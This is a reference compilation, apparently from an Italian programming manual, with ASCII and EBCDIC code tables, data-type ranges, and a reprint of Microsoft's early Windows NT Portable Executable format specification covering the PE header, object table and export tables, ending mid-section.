117	75	u	
118	76	v	
119	77	w	
120	78	x	
121	79	y	
122	7A	z	
123	7B	{	
124	7C	|	
125	7D	}	
126	7E	~	
127	7F		
128	80	Ç	
129	81	ü	
130	82	é	
131	83	â	
132	84	ä	
133	85	à	
134	86	å	
135	87	ç	
136	88	ê	
137	89	ë	
138	8A	è	
139	8B	ï	
140	8C	î	
141	8D	ì	
142	8E	Ä	

143	8F	Å
144	90	É
145	91	æ
146	92	Æ
147	93	ô
148	94	ö
149	95	ò
150	96	û
151	97	ù
152	98	ÿ
153	99	Ö
154	9A	Ü
155	9B	¢
156	9C	£
157	9D	¥
158	9E	
159	9F	ƒ
160	A0	á
161	A1	í
162	A2	ó
163	A3	ú
164	A4	ñ
165	A5	Ñ
166	A6	ª
167	A7	º
168	A8	¿
169	A9	¬
170	AA	½
171	AB	¼
172	AC	¡
173	AD	«
174	AE	»
175	AF	
176	B0	
177	B1	
178	B2	
179	B3	
180	B4	
181	B5	
182	B6	
183	B7	
184	B8	
185	B9	
186	BA	
187	BB	
188	BC	
189	BD	
190	BE	
191	BF	
192	C0	

193	C1	
194	C2	
195	C3	
196	C4	—
197	C5	
198	C6	
199	C7	
200	C8	
201	C9	
202	CA	
203	CB	
204	CC	
205	CD	
206	CE	
207	CF	
208	D0	
209	D1	
210	D2	
211	D3	
212	D4	
213	D5	
214	D6	
215	D7	
216	D8	
217	D9	
218	DA	
219	DB	
220	DC	
221	DD	
222	DE	
223	DF	
224	E0	
225	E1	ß
226	E2	
227	E3	
228	E4	
229	E5	
230	E6	µ
231	E7	
232	E8	
233	E9	
234	EA	
235	EB	
236	EC	
237	ED	
238	EE	
239	EF	
240	F0	
241	F1	
242	F2	

243	F3	
244	F4	
245	F5	
246	F6	÷
247	F7	
248	F8	º
249	F9	•
250	FA	·
251	FB	
252	FC	
253	FD	²
254	FE	
255	FF	

TABELLA EBCDIC			
Dec	Hex	Char	Code
0	00	€	NUL
1	01	€	SOH
2	02	€	STX
3	03	€	ETX
4	04	€	PF
5	05	€	HT
6	06	€	LC
7	07	€	DEL
8	08		
9	09	€	RLF
10	0A	€	SMM
11	0B	€	VT
12	0C	€	FF
13	0D	€	CR
14	0E	€	S0
15	0F	€	S1
16	10	€	DLE
17	11	€	DC1
18	12	€	DC2
19	13	€	DC3
20	14	€	RES
21	15	€	NL
22	16	€	BS
23	17	€	IL
24	18	€	CAN
25	19	€	EM
26	1A	€	CC
27	1B		
28	1C	€	IFS
29	1D	€	IGS
30	1E	€	IRS
31	1F	€	IUS
32	20	€	DS
33	21	€	SOS
34	22	€	FS
35	23		
36	24	€	BYP
37	25	€	LF
38	26	€	ETB
39	27	€	ESC
40	28		
41	29		
42	2A	€	SM
43	2B		
44	2C		
45	2D	€	ENQ

46	2E	€	ACK
47	2F	€	BEL
48	30		
49	31		
50	32	€	SYN
51	33		
52	34	€	PN
53	35	€	RS
54	36	€	UC
55	37	€	EOT
56	38		
57	39		
58	3A		
59	3B		
60	3C	€	DC4
61	3D	€	NAK
62	3E		
63	3F	€	SUB
64	40	€	SP
65	41		
66	42		
67	43		
68	44		
69	45		
70	46		
71	47		
72	48		
73	49		
74	4A	¢	
75	4B	.	
76	4C	<	
77	4D	(	
78	4E	+	
79	4F	|	
80	50	&	
81	51		
82	52		
83	53		
84	54		
85	55		
86	56		
87	57		
88	58		
89	59		
90	5A	!	
91	5B	$	
92	5C	*	
93	5D	)	
94	5E	;	
95	5F	¬	

96	60	-	
97	61		
98	62		
99	63		
100	64		
101	65		
102	66		
103	67		
104	68		
105	69		
106	6A	|	
107	6B	‘	
108	6C	%	
109	6D	_	
110	6E	>	
111	6F	?	
112	70		
113	72		
114	72		
115	73		
116	74		
117	75		
118	76		
119	77		
120	78		
121	79	\	
122	7A	:	
123	7B	#	
124	7C	@	
125	7D	‘	
126	7E	=	
127	7F	“	
128	80		
129	81	a	
130*	82	b	
131*	83	c	
132*	84	d	
133*	85	e	
134*	86	f	
135*	87	g	
136*	88	h	
137*	89	i	
138*	8A		
139*	8B		
140*	8C		
141	8D		
142	8E		
143	8F		
144	90		
145	91	j	

146	92	k
147*	93	l
148*	94	m
149*	95	n
150*	96	o
151*	97	p
152*	98	q
153*	99	r
154*	9A	
155*	9B	
156*	9C	
157	9D	
158	9E	
159*	9F	
160	A0	
161	A1	~
162	A2	s
163	A3	t
164	A4	u
165	A5	v
166	A6	w
167	A7	x
168	A8	y
169	A9	z
170	AA	
171	AB	
172	AC	
173	AD	
174	AE	
175	AF	
176	B0	
177	B1	
178	B2	
179	B3	
180	B4	
181	B5	
182	B6	
183	B7	
184	B8	
185	B9	
186	BA	
187	BB	
188	BC	
189	BD	
190	BE	
191	BF	
192	C0	{
193	C1	A
194	C2	B

195	C3	C
196	C4	D
197	C5	E
198	C6	F
199	C7	G
200	C8	H
201	C9	I
202	CA	
203	CB	
204	CC	
205	CD	
206	CE	
207	CF	
208	D0	}
209	D1	J
210	D2	K
211	D3	L
212	D4	M
213	D5	N
214	D6	O
215	D7	P
216	D8	Q
217	D9	R
218	DA	
219	DB	
220	DC	
221	DD	
222	DE	
223	DF	
224	E0	\
225	E1	
226	E2	S
227	E3	T
228	E4	U
229	E5	V
230	E6	W
231	E7	X
232	E8	Y
233	E9	Z
234	EA	
235	EB	
236	EC	
237	ED	
238	EE	
239	EF	
240	F0	0
241	F1	1
242	F2	2
243	F3	3
244	F4	4

245	F5	5
246	F6	6
247	F7	7
248	F8	8
249	F9	9
250	FA	
251	FB	
252	FC	
253	FD	
254	FE	
255	FF	

TIPOLOGIA DATI		
Type Name	Bytes	Range of Values
(signed) byte	1	-128 to 127
unsigned byte	1	0 to 255
(signed) short	2	-32,768 to 32,767
unsigned short	2	0 to 65,535
(signed) long	4	-2,147,483,648 to 2,147,483,647
unsigned long	4	0 to 4,294,967,295
float	4	3.4E +/- 38
double	8	1.7E +/- 308
long double	10	1.2E +/- 4932

DOCUMENTI INTEGRALI

Qui vengono riportati alcuni documenti integrali rilasciati da Microsoft o da altri.
I testi sono

PORTABLE EXECUTABLE FORMAT
Win32 Binary Resource Formats

PORTABLE EXECUTABLE FORMAT

Author: Micheal J. O'Leary

Preface

This document was edited and released by Microsoft Developer Support. It describes the binary portable executable format for NT. The information is provided at this point because we feel it will make the work of application development easier. Unfortunately, the information in this document may change before the final release of Windows NT. Microsoft is NOT committing to stay with these formats by releasing this document. Questions or follow-ups for any of the information presented here should be posted to CompuServe MSWIN32 forum, section 6.

--Steve Firebaugh
Microsoft Developer Support

Contents

1. Overview

```
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  <ÄÄ¿ <ÄÄÄÄÄ Base of Image Header
³ DOS 2 Compatible ³     ³
³    EXE Header    ³     ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´     ³
³      unused      ³     ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´     ³
³  OEM Identifier  ³     ³
³  OEM Info        ³     ³
³                  ³     ³   DOS 2.0 Section
³    Offset to     ³     ³   (for DOS compatibility only)
³    PE Header     ³     ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´     ³
³   DOS 2.0 Stub   ³     ³
³   Program &      ³     ³
³   Reloc. Table   ³     ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´  <ÄÄÙ
³      unused      ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´  <ÄÄÄÄÄÄÄÄÄ Aligned on 8 byte boundary
³    PE Header     ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³   Object Table   ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³   Image Pages    ³
³     import info  ³
³     export info  ³
³     fixup info   ³
³     resource info³
³     debug info   ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
```

Figure 1. A typical 32-bit Portable EXE File Layout

2. PE Header

```
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³      SIGNATURE BYTES      ³  CPU TYPE   ³  # OBJECTS  ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³       TIME/DATE STAMP     ³         RESERVED          ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³          RESERVED         ³  NT HDR SIZE³    FLAGS    ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÂÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³  RESERVED   ³LMAJOR³LMINOR³         RESERVED          ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÁÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³          RESERVED         ³         RESERVED          ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³       ENTRYPOINT RVA      ³         RESERVED          ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³          RESERVED         ³        IMAGE BASE         ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³       OBJECT ALIGN        ³        FILE ALIGN         ³
```

```
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³  OS MAJOR   ³  OS MINOR   ³USER MAJOR   ³USER MINOR   ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ SUBSYS MAJOR³ SUBSYS MINOR³         RESERVED          ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³         IMAGE SIZE         ³       HEADER SIZE        ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³        FILE CHECKSUM       ³  SUBSYSTEM  ³  DLL FLAGS  ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³   STACK RESERVE SIZE       ³     STACK COMMIT SIZE     ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³   HEAP RESERVE SIZE        ³     HEAP COMMIT SIZE      ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³          RESERVED          ³  # INTERESTING RVA/SIZES  ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³   EXPORT TABLE RVA         ³   TOTAL EXPORT DATA SIZE  ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³   IMPORT TABLE RVA         ³   TOTAL IMPORT DATA SIZE  ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³  RESOURCE TABLE RVA        ³  TOTAL RESOURCE DATA SIZE ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³  EXCEPTION TABLE RVA       ³  TOTAL EXCEPTION DATA SIZE³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³  SECURITY TABLE RVA        ³  TOTAL SECURITY DATA SIZE ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³    FIXUP TABLE RVA         ³  TOTAL FIXUP DATA SIZE    ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³    DEBUG TABLE RVA         ³  TOTAL DEBUG DIRECTORIES  ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³  IMAGE DESCRIPTION RVA     ³  TOTAL DESCRIPTION SIZE   ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³   MACHINE SPECIFIC RVA     ³   MACHINE SPECIFIC SIZE   ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³  THREAD LOCAL STORAGE RVA ³      TOTAL TLS SIZE       ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
```

Figure 2. PE Header

Notes:

- o A VA is a virtual address that is already biased by the Image Base found in the PE Header. A RVA is a virtual address that is relative to the Image Base.

- o An RVA in the PE Header which has a value of zero indicates the field isn't used.

- o Image pages are aligned and zero padded to a File Align boundary. The bases of all other tables and structures must be aligned on DWORD (4 byte) boundary. Thus, all VA's and RVA's must be on a 32 bit boundary. All table and structure fields must be aligned on their "natural" boundaries, with the possible exception of the Debug Info.

SIGNATURE BYTES = DB * 4.
Current value is "PE/0/0". Thats PE followed by two zeros (nulls).

CPU TYPE = DW CPU Type.
This field specifies the type of CPU compatibility required by this image to run. The values are:

- o 0000h __unknown

o 014Ch __80386

o 014Dh __80486

o 014Eh __80586

o 0162h __MIPS Mark I (R2000, R3000)

o 0163h __MIPS Mark II (R6000)

o 0166h __MIPS Mark III (R4000)

OBJECTS = DW Number of object entries.
This field specifies the number of entries in the Object Table.

TIME/DATE STAMP = DD Used to store the time and date the file was created or modified by the linker.

NT HDR SIZE = DW This is the number of remaining bytes in the NT header that follow the FLAGS field.

FLAGS = DW Flag bits for the image.
The flag bits have the following definitons:

o 0000h __Program image.

o 0002h __Image is executable.
   If this bit isn't set, then it indicates that either errors where detected at link time or that the image is being incrementally linked and therefore can't be loaded.

o 0200h __Fixed.
   Indicates that if the image can't be loaded at the Image Base, then don't load it.

o 2000h __Library image.

LMAJOR/LMINOR = DB Linker major/minor version number.

ENTRYPOINT RVA = DD Entrypoint relative virtual address.
The address is relative to the Image Base. The address is the starting address for program images and the library initialization and library termination address for library images.

IMAGE BASE = DD The virtual base of the image.
This will be the virtual address of the first byte of the file (Dos Header). This must be a multiple of 64K.

OBJECT ALIGN = DD The alignment of the objects. This must be a power of 2 between 512 and 256M inclusive. The default is 64K.

FILE ALIGN = DD Alignment factor used to align image pages. The alignment factor (in bytes) used to align the base of the image pages and to determine the granularity of per-object trailing zero pad.
Larger alignment factors will cost more file space; smaller alignment factors will impact demand load performance, perhaps significantly.
Of the two, wasting file space is preferable. This value should be a power of 2 between 512 and 64K inclusive.

OS MAJOR/MINOR = DW OS version number required to run this image.

USER MAJOR/MINOR # = DW User major/minor version number.
This is useful for differentiating between revisions of

images/dynamic linked libraries. The values are specified at link
time by the user.

SUBSYS MAJOR/MINOR # = DW Subsystem major/minor version number.

IMAGE SIZE = DD The virtual size (in bytes) of the image.
This includes all headers. The total image size must be a multiple
of Object Align.

HEADER SIZE = DD Total header size.
The combined size of the Dos Header, PE Header and Object Table.

FILE CHECKSUM = DD Checksum for entire file. Set to 0 by the linker.

SUBSYSTEM = DW NT Subsystem required to run this image.
The values are:

- o 0000h __Unknown
- o 0001h __Native
- o 0002h __Windows GUI
- o 0003h __Windows Character
- o 0005h __OS/2 Character
- o 0007h __Posix Character

DLL FLAGS = DW Indicates special loader requirements.
This flag has the following bit values:

- o 0001h __Per-Process Library Initialization.
- o 0002h __Per-Process Library Termination.
- o 0004h __Per-Thread Library Initialization.
- o 0008h __Per-Thread Library Termination.

All other bits are reserved for future use and should be set to zero.

STACK RESERVE SIZE = DD Stack size needed for image.
The memory is reserved, but only the STACK COMMIT SIZE is committed.
The next page of the stack is a 'guarded page'. When the application
hits the guarded page, the guarded page becomes valid, and the next
page becomes the guarded page. This continues until the RESERVE SIZE
is reached.

STACK COMMIT SIZE = DD Stack commit size.

HEAP RESERVE SIZE = DD Size of local heap to reserve.

HEAP COMMIT SIZE = DD Amount to commit in local heap.

INTERESTING VA/SIZES = DD Indicates the size of the VA/SIZE array
that follows.

EXPORT TABLE RVA = DD Relative Virtual Address of the Export Table.
This address is relative to the Image Base.

IMPORT TABLE RVA = DD Relative Virtual Address of the Import Table.
This address is relative to the Image Base.

RESOURCE TABLE RVA = DD Relative Virtual Address of the Resource Table. This address is relative to the Image Base.

EXCEPTION TABLE RVA = DD Relative Virtual Address of the Exception Table. This address is relative to the Image Base.

SECURITY TABLE RVA = DD Relative Virtual Address of the Security Table. This address is relative to the Image Base.

FIXUP TABLE RVA = DD Relative Virtual Address of the Fixup Table. This address is relative to the Image Base.

DEBUG TABLE RVA = DD Relative Virtual Address of the Debug Table. This address is relative to the Image Base.

IMAGE DESCRIPTION RVA = DD Relative Virtual Address of the description string specified in the module definiton file.

MACHINE SPECIFIC RVA = DD Relative Virtual Address of a machine specific value. This address is relative to the Image Base.

TOTAL EXPORT DATA SIZE = DD Total size of the export data.

TOTAL IMPORT DATA SIZE = DD Total size of the import data.

TOTAL RESOURCE DATA SIZE = DD Total size of the resource data.

TOTAL EXCEPTION DATA SIZE = DD Total size of the exception data.

TOTAL SECURITY DATA SIZE = DD Total size of the security data.

TOTAL FIXUP DATA SIZE = DD Total size of the fixup data.

TOTAL DEBUG DIRECTORIES = DD Total number of debug directories.

TOTAL DESCRIPTION SIZE = DD Total size of the description data.

MACHINE SPECIFIC SIZE = DD A machine specific value.

3. Object Table

The number of entries in the Object Table is given by the # Objects field in the PE Header. Entries in the Object Table are numbered starting from one. The object table immediately follows the PE Header. The code and data memory object entries are in the order chosen by the linker. The virtual addresses for objects must be assigned by the linker such that they are in ascending order and adjacent, and must be a multiple of Object Align in the PE header.

Each Object Table entry has the following format:

```
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³                      OBJECT NAME                      ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³       VIRTUAL SIZE        ³            RVA            ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³      PHYSICAL SIZE        ³      PHYSICAL OFFSET      ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³         RESERVED          ³         RESERVED          ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
```

```
    ³        RESERVED            ³        OBJECT FLAGS        ³
    ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
```

Figure 3. Object Table

OBJECT NAME = DB * 8 Object name. This is an eight-byte null-padded ASCII string representing the object name.

VIRTUAL SIZE = DD Virtual memory size. The size of the object that will be allocated when the object is loaded. Any difference between PHYSICAL SIZE and VIRTUAL SIZE is zero filled.

RVA = DD Relative Virtual Address. The virtual address the object is currently relocated to, relative to the Image Base. Each Object's virtual address space consumes a multiple of Object Align (power of 2 between 512 and 256M inclusive. Default is 64K), and immediately follows the previous Object in the virtual address space (the virtual address space for a image must be dense).

PHYSICAL SIZE = DD Physical file size of initialized data. The size of the initialized data in the file for the object. The physical size must be a multiple of the File Align field in the PE Header, and must be less than or equal to the Virtual Size.

PHYSICAL OFFSET = DD Physical offset for object's first page. This offset is relative to beginning of the EXE file, and is aligned on a multiple of the File Align field in the PE Header. The offset is used as a seek value.

OBJECT FLAGS = DD Flag bits for the object. The object flag bits have the following definitions:

- o 000000020h __Code object.
- o 000000040h __Initialized data object.
- o 000000080h __Uninitialized data object.
- o 040000000h __Object must not be cached.
- o 080000000h __Object is not pageable.
- o 100000000h __Object is shared.
- o 200000000h __Executable object.
- o 400000000h __Readable object.
- o 800000000h __Writeable object.

All other bits are reserved for future use and should be set to zero.

4. Image Pages

The Image Pages section contains all initialized data for all objects. The seek offset for the first page in each object is specified in the object table and is aligned on a File Align boundary. The objects are ordered by the RVA. Every object begins on a multiple of Object Align.

5. Exports

A typical file layout for the export information follows:

```
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³     DIRECTORY TABLE   ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³     ADDRESS TABLE     ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³     NAME PTR TABLE    ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³     ORDINAL TABLE     ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³     NAME STRINGS      ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
```

Figure 4. Export File Layout

5.1 Export Directory Table

The export information begins with the Export Directory Table which
describes the remainder of the export information. The Export
Directory Table contains address information that is used to resolve
fixup references to the entry points within this image.

```
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³            EXPORT FLAGS           ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³           TIME/DATE STAMP         ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³  MAJOR VERSION  ³   MINOR VERSION ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³             NAME RVA              ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³           ORDINAL BASE            ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³           # EAT ENTRIES           ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³            # NAME PTRS            ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³         ADDRESS TABLE RVA         ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³        NAME PTR TABLE RVA         ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³         ORDINAL TABLE RVA         ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
```

Figure 5. Export Directory Table Entry

EXPORT FLAGS = DD Currently set to zero.

TIME/DATE STAMP = DD Time/Date the export data was created.

MAJOR/MINOR VERSION = DW A user settable major/minor version number.

NAME RVA = DD Relative Virtual Address of the Dll asciiz Name.
This is the address relative to the Image Base.

ORDINAL BASE = DD First valid exported ordinal.
This field specifies the starting ordinal number for the export
address table for this image. Normally set to 1.

EAT ENTRIES = DD Indicates number of entries in the Export Address
Table.

NAME PTRS = DD This indicates the number of entries in the Name Ptr Table (and parallel Ordinal Table).

ADDRESS TABLE RVA = DD Relative Virtual Address of the Export Address Table.
This address is relative to the Image Base.

NAME TABLE RVA = DD Relative Virtual Address of the Export Name Table Pointers.
This address is relative to the beginning of the Image Base. This table is an array of RVA's with # NAMES entries.

ORDINAL TABLE RVA = DD Relative Virtual Address of Export Ordinals Table Entry.
This address is relative to the beginning of the Image Base.

5.2 Export Address Table

The Export Address Table contains the address of exported entrypoints and exported data and absolutes. An ordinal number is used to index the Export Address Table. The ORDINAL BASE must be subracted from the ordinal number before indexing into this table.

Export Address Table entry formats are described below:

```
    ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿
    ³           EXPORTED RVA            ³
    ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ
```

Figure 6. Export Address Table Entry

EXPORTED RVA = DD Export address.
This field contains the relative virtual address of the exported entry (relative to the Image Base).

5.3 Export Name Table Pointers

The export name table pointers array contains address into the Export Name Table. The pointers are 32-bits each, and are relative to the Image Base. The pointers are ordered lexically to allow binary searches.

5.4 Export Ordinal Table

The Export Name Table Pointers and the Export Ordinal Table form two parallel arrays, separated to allow natural field alignment. The export ordinal table array contains the Export Address Table ordinal numbers associated with the named export referenced by corresponding Export Name Table Pointers.

The ordinals are 16-bits each, and already include the Ordinal Base stored in the Export Directory Table.

5.5 Export Name Table

The export name table contains optional ASCII names for exported entries in the image. These tables are used with the array of Export Name Table Pointers and the array of Export Ordinals to translate a procedure name string into an ordinal number by searching for a matching name string. The ordinal number is used to locate the entry point information in the export address table.

Import references by name require the Export Name Table Pointers
table to be binary searched to find the matching name, then the
corresponding Export Ordinal Table is known to contain the entry
point ordinal number. Import references by ordinal number provide
the fastest lookup since searching the name table is not required.

Each name table entry has the following format:

```
